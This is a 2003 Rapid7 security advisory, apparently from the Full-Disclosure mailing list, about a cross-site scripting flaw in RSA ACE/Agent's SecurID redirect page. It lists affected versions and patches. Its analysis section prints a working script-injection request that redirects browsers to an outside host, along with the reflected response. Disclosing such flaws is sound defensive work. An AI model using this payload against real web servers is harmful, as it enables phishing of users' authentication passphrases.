[Full-Disclosure] R7-0014: RSA SecurID ACE Agent Cross Site Scripting

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To: full-disclosure@lists.netsys.com
Date: Wed, 18 Jun 2003 15:38:20 -0700

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Rapid7 Advisory R7-0014
RSA SecurID ACE Agent Cross Site Scripting

   Published: June 18, 2003
   Revision: 1.0
   http://www.rapid7.com/advisories/R7-0014.html

   CVE: CAN-2003-0389

1. Affected system(s):

   KNOWN VULNERABLE:
      o RSA ACE/Agent version 5.0 for Windows
      o RSA ACE/Agent version 5.x for Web

2. Summary

   RSA SecurID provides authentication and access control using the
   RSA SecurID two-factor authentication framework. RSA SecurID
   two-factor authentication is based on something you know (such as a
   password or a PIN) and something you have (an authenticator such as
   a smart card). RSA ACE/Server provides RSA SecurID access
   control for enterprises.

   RSA provides several RSA ACE/Agents for use with RSA ACE/Server.
   These agents provide integrated RSA SecurID access control for
   3rd-party server platforms including Microsoft Windows, IIS, UNIX
   servers (PAM), Apache, and Lotus Domino.

   The RSA ACE/Agent allows sites to protect web resources by
   requiring RSA SecurID authentication. Web browsers are
   automatically redirected to an authentication page where the user
   is required to authenticate with their RSA SecurID token before
   they can access protected resources.

   This secure redirect function of the RSA ACE/Agents protecting IIS,
   Apache, or SunONE web servers contains a cross-site scripting
   vulnerability. The redirector does not properly escape special
   characters, so requests for a URL containing special script
   characters will cause the ACE/Agent to emit a page containing
   web script which would execute in the user's browser. An attacker
   could potentially use this to fool unsuspecting users into entering
   their passphrase information, which could then be replayed by the
   attacker to the protected server to gain access.

3. Vendor status and information

   RSA Security, Inc.
   http://www.rsasecurity.com

   The vendor has been notified. This issue had already been
   discovered and fixed by RSA Security in an internal audit. The
   fix was released to customers in February 2003.

4. Solution

   Update to the latest version of RSA ACE/Agent for Windows - version
   5.0.1 or RSA ACE/Agent for Web - version 5.1.1.

   Specific hot fixes and readme files can be downloaded from the
   following FTP sites:

      Customers using the RSA ACE/Agent 5.0 for Windows:
      RSA Security FTP Site (URL is wrapped to next line):
      ftp://ftp.rsasecurity.com
         /support/Patches/Ace/Agent/5.0.1_Agent/Win_Agent501.zip
 
      Customers using the RSA ACE/Agent 5.1 for Web:
      RSA Security FTP Site (URL is wrapped to next line):
      ftp://ftp.rsasecurity.com
         /support/Patches/Ace/Agent/5.1.1_Agent/WebAgent5.1.1.tar.gz

5. Detailed analysis

   Requests for paths containing special characters will cause these
   special characters to be emitted in the resulting redirect page.
   An attacker could potentially use the resulting script to quietly
   redirect users to his own website, where users would be tricked
   into entering their passphrase information.

   For example, the following session illustrates how to redirect the
   browser:

   $ telnet www.example.foo 80
   Connected to www.example.foo.
   Escape character is '^]'.
   GET /"><script>document.location="http://foo.foo"</script> HTTP/1.0

   HTTP/1.1 200 OK
   Server: Microsoft-IIS/5.0
   Content-Type: text/html

   <HTML>
   <HEAD>
      <TITLE>SecurID Secure Link Redirect</TITLE>
   </HEAD>

   <BODY>

   <H2>
   The page you are trying to access is protected by SecurID.<BR>
   The administrator requires protected pages to be accessed through
   a secure channel.<BR>
   <A HREF="https://www.example.foo:443/"><script>
      document.location="http://www.foo.foo"</script>">
      Click this link to activate the secure channel for this page.</A>
   </H2>

   </BODY>
   </HTML>

6. Contact Information

   Rapid7 Security Advisories
   Email: advisory@rapid7.com
   Web: http://www.rapid7.com/
   Phone: +1 (212) 558-8700

7. Disclaimer and Copyright

   Rapid7, Inc. is not responsible for the misuse of the information
   provided in our security advisories. These advisories are a service
   to the professional security community. There are NO WARRANTIES
   with regard to this information. Any application or distribution of
   this information constitutes acceptance AS IS, at the user's own
   risk. This information is subject to change without notice.

   This advisory Copyright (C) 2003 Rapid7, Inc. Permission is
   hereby granted to redistribute this advisory, providing that no
   changes are made and that the copyright notices and disclaimers
   remain intact.

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